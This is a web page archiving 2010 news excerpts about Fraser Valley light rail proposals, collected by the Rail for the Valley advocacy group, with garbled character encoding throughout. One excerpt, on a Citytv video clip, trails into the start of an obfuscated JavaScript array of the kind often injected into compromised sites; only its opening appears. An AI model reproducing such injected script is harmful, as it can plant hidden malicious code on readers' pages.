    Surrey considers paying its own fare for better transit BY KELLY SINOSKI, VANCOUVER SUN NOVEMBER 5, 2010 Surrey plans to make a stronger case for light rail and streetcar service, and may even consider footing part of the bill if cash-strapped TransLin...

  • Stephanie Ryan: Surrey should hold referendum on light rail transit in 2011 | Vancouver, Canada | Straight.com

    Stephanie Ryan: Surrey should hold referendum on light rail transit in 2011 By Stephanie Ryan, November 5, 2010 Surrey residents were invited to ai???be part of the planai??? as TransLink held public consultation sessions on various technology options ...

  • Centenarian ready to roll

    Centenarian ready to roll The Times October 8, 2010 On Oct. 3, 1910, the first Interurban train rolled down the track from New Westminster to Chilliwack. Over the next four decades, it was the main transportation link for people in the new rural commun...

  • Surrey Leader - COLUMN: Paying for poor service

    COLUMN: Paying for poor service By Frank Bucholtz - Surrey North Delta Leader Published: October 22, 2010 11:00 AM Updated: October 22, 2010 11:26 AM Despite millions of dollars spent in the past decade to improve transit service in the Metro Vancouver...

  • Pivotal transit study still stalled at provincial level

    Pivotal transit study still stalled at provincial level Further delays could impact local budgets By Rochelle Baker, The Times October 22, 2010 8:05 AM Fraser Valley politicians are growing increasingly impatient as they wait on the provincial governme...

  • Premier's transit pitch hard to swallow

    Premier's transit pitch hard to swallow By Brian Lewis, The Province October 7, 2010 Comments (6) A mother shoving cod liver oil down her child's throat in the belief it's a good health remedy A?ai??i??ai??? even though it tastes bad A?ai??i??ai??? is ...

  • Foot-dragging feds slow train service to Seattle

    Foot-dragging feds slow train service to Seattle By Jon Ferry, The Province October 18, 2010 Comments (6) The news that Ottawa has finally approved the operation of a second daily train between Vancouver and Seattle for another year is a relief to all ...

  • Time to seriously look at rail

    Time to seriously look at rail The Times October 8, 2010 On Oct. 3, 1910, the first Interurban train rolled down the track from New Westminster to Chilliwack. Over the next four decades, it was the main transportation link for people in the new rural c...

  • Chilliwack Progress - RapidBus coming to Chilliwack, says Premier

    RapidBus coming to Chilliwack, says Premier By Robert Freeman - Chilliwack Progress Published: October 05, 2010 7:00 AM Premier Gordon CampbellA?ai??i??ai???s promise at last weekA?ai??i??ai???s UBCM convention to extend RapidBus service to Chilliwack ...

  • Abbotsford News - Too soon to pick SkyTrain over light rail: Watts

    Too soon to pick SkyTrain over light rail: Watts * Light rail delivers more bang for the buck By Jeff Nagel - BC Local News Published: October 04, 2010 5:00 PM Updated: October 04, 2010 5:45 PM Premier Gordon Campbell pledged to deliver "SkyTrain to La...

  • CBC News - British Columbia - VIDEO: Light rail recommended for Fraser Valley

    VIDEO: Light rail recommended for Fraser Valley Last Updated: Wednesday, September 22, 2010 | 10:45 AM PT Comments32Recommend20 CBC News A new report says a light rail commuter line with 18 stops from Surrey to Chilliwack, B.C., would be an inexpensive...

  • Rail for the Valley - Breakfast Television Vancouver - Citytv Video Portal

    Video Clip: Rail for the Valley (02:58) John Vissers from Rail for the Valley joins BT to discuss the possibility of commuter trains going out to Chilliwack. via Rail for the Valley - Breakfast Television Vancouver - Citytv Video Portal. var _0x446d=["...

  • Langley Times - Editorial A?ai??i??ai??? Speed up transit decisions

    Editorial A?ai??i??ai??? Speed up transit decisions Published: October 05, 2010 10:00 AM Updated: October 05, 2010 10:01 AM Premier Gordon Campbell stated on Friday that SkyTrain will eventually be extended to Langley. In his speech to the Union of B.C...

  • Study lauds light rail

    Study lauds light rail Light trains can carry South of the Fraser commuters, a new consultant's report suggests. By Christina Toth and Heather Colpitts, Postmedia Network Inc. September 24, 2010 One hundred years after the Interurban rail wound its way...

  • Report supports light rail

    Report supports light rail 'An honest accounting' of the potential transit system By Christina Toth, The Times September 21, 2010 Light rail proponents are optimistic about having passenger service return to the Fraser Valley after the release of a fea...

  • Mayor remains mum on latest rail system study

    Mayor remains mum on latest rail system study By Tyler Olsen, The Times September 24, 2010 Fraser Valley rail activist John Vissers hopes an in-depth report that bills the capital costs of a rail connection between Chilliwack and Surrey at $500 million...

  • Report supports valley light rail

    Report supports valley light rail By Christina Toth, The Times September 24, 2010 One hundred years after the Interurban rail wound its way across the Fraser Valley, light rail proponents are optimistic the passenger service can make a comeback after t...

  • Chilliwack Progress - Regional transportation needs 'holistic' approach

    Regional transportation needs 'holistic' approach By Katie Bartel - Chilliwack Progress Published: September 24, 2010 1:00 PM Updated: September 24, 2010 1:38 PM As much as a light rail service could benefit the Fraser Valley, it's not the be all end a...

  • BCLocalNews.com - COLUMN: We should get on track

    COLUMN: We should get on track By Frank Bucholtz - Surrey North Delta Leader Published: September 23, 2010 2:00 PM Updated: September 23, 2010 2:42 PM A study looking at resurrecting rail passenger service along the former interurban line needs to rece...

  • Valley residents on track with light rail

    Valley residents on track with light rail By Elizabeth James, Special To North Shore News September 22, 2010 "It's nice to have a Cadillac like the Canada Line, but the cost is prohibitive. If we're ever to get the connectivity which ...

  • Valley light rail all go, twin groups claim

    Valley light rail all go, twin groups claim By Brian Lewis, The Province September 21, 2010 Advocates for reintroducing light-rail transit to the Fraser Valley along the old Inter-Urban route were building up a fresh head of steam on two fronts Monday....

  • Commuter rail service to the Valley is affordable - study - News1130

    Commuter rail service to the Valley is affordable - study Ninety-eight kilometres of light rail service for 500 million dollars John Streit Sep 22, 2010 02:43:36 AM 7 Comment(s) 1 Recommendation(s) VANCOUVER (NEWS1130) - Get people out of their cars an...

  • Abbotsford News - More ammo for light rail service through Valley

    More ammo for light rail service through Valley By Jeff Nagel - BC Local News Published: September 21, 2010 1:00 PM Updated: September 21, 2010 6:07 PM A new Chilliwack-to-Surrey light rail line could whisk passengers from deep in the Fraser Valley to ...

  • Chilliwack Progress - Rail For The Valley puts squeeze on city

    Rail For The Valley puts squeeze on city By Robert Freeman - Chilliwack Progress Published: July 07, 2010 8:00 AM Updated: July 07, 2010 9:20 AM Chilliwack is the only municipality in the Lower Mainland not on board a task force lobbying for a communit...

  • Train crashes into car in Nanaimo: Another example of a car driver ignoring the dangers of a railway level crossings

    Here we have another sad example of a motorist ignoring railway signals and driving into the path of a passenger train, with tragic results. Rail For The Valley must deal with two issues before the reinstatement of the interurban. 1) Before any interu...

Archived Articles:

Since we formed in July 2007, people who agree with Rail for the Valley have been writing manyAi??Letters to the Editor of our local newspapers.Ai??Itai??i??s workingai??i?? The Rail for the Valley movement has been getting a lot of press!